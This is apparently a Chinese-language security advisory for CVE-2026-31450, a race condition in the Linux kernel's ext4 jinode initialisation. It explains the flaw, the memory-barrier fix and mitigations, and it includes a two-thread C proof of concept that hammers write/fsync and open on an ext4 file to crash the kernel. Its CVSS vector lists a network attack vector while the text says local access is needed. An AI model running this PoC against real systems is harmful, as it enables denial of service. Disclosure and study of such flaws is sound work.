CVE-2026-31450 CVSS 8.8 高危

CVE-2026-31450 Linux Kernel ext4竞态条件漏洞

披露日期: 2026-04-22

来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号

CVE-2026-31450

漏洞类型

竞态条件

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Linux Kernel

漏洞概述

Linux内核ext4文件系统存在严重的竞态条件漏洞。`ext4_inode_attach_jinode`函数在完全初始化`jinode`结构之前就将其发布，导致并发线程在快速提交刷新路径中访问未初始化的内存指针。攻击者可利用此缺陷触发内核崩溃，造成系统拒绝服务，严重影响系统可用性、完整性和机密性。该漏洞需要本地低权限用户即可触发。

技术细节

该漏洞位于Linux内核的ext4文件系统驱动中，核心问题出在`ext4_inode_attach_jinode()`函数的执行时序上。在原始代码逻辑中，该函数先将`ei->jinode`指针设置为非空值，随后才调用`jbd2_journal_init_jbd_inode()`对该结构体内部成员（如`i_vfs_inode`）进行初始化。这种非原子性的发布操作在多核处理器环境下存在竞态窗口。当并发的快速提交（Fast Commit）刷新路径运行时，它可能读取到这个非NULL的`jinode`指针，并假定结构体已就绪。随后，`jbd2_wait_inode_data()`函数被调用，试图解引用`i_vfs_inode->i_mapping`。由于此时`i_vfs_inode`尚未完成初始化，该指针指向无效内存地址，导致页错误（Page Fault）和内核崩溃。官方补丁通过引入`smp_wmb()`写内存屏障确保初始化顺序，并使用`WRITE_ONCE()`和`READ_ONCE()`宏防止编译器乱序优化和撕裂读写，从而修复了这一并发访问问题。

攻击链分析

STEP 1

步骤1

攻击者获取本地低权限用户访问权限。

STEP 2

步骤2

攻击者在ext4文件系统上执行特定的I/O操作，创建并操作文件。

STEP 3

步骤3

并发执行文件同步（fsync）和Inode附加操作，触发竞态窗口。

STEP 4

步骤4

内核尝试访问未初始化的jinode结构体，导致空指针解引用和系统崩溃。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>

// Conceptual PoC for CVE-2026-31450
// Triggers the race condition in ext4 jinode initialization

const char* filename = "/mnt/ext4_test/poc_file";

void* fast_commit_thread(void* arg) {
    int fd = open(filename, O_RDWR | O_CREAT, 0644);
    if (fd < 0) return NULL;
    char buf[64] = "trigger";
    // Heavy fsync to trigger fast commit flush path
    for (int i = 0; i < 100000; i++) {
        write(fd, buf, sizeof(buf));
        fsync(fd); // Leads to ext4_fc_commit -> jbd2_wait_inode_data
    }
    close(fd);
    return NULL;
}

void* inode_attach_thread(void* arg) {
    // Operations triggering ext4_inode_attach_jinode
    for (int i = 0; i < 100000; i++) {
        int fd = open(filename, O_RDONLY);
        if (fd >= 0) close(fd);
    }
    return NULL;
}

int main() {
    pthread_t t1, t2;
    pthread_create(&t1, NULL, fast_commit_thread, NULL);
    pthread_create(&t2, NULL, inode_attach_thread, NULL);
    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
    return 0;
}

影响范围

Linux Kernel < 6.18 (Specific commit fixes applied)

防御指南

临时缓解措施

限制非信任用户的本地访问权限，或通过内核启动参数禁用ext4的快速提交功能以暂时规避风险。

参考链接

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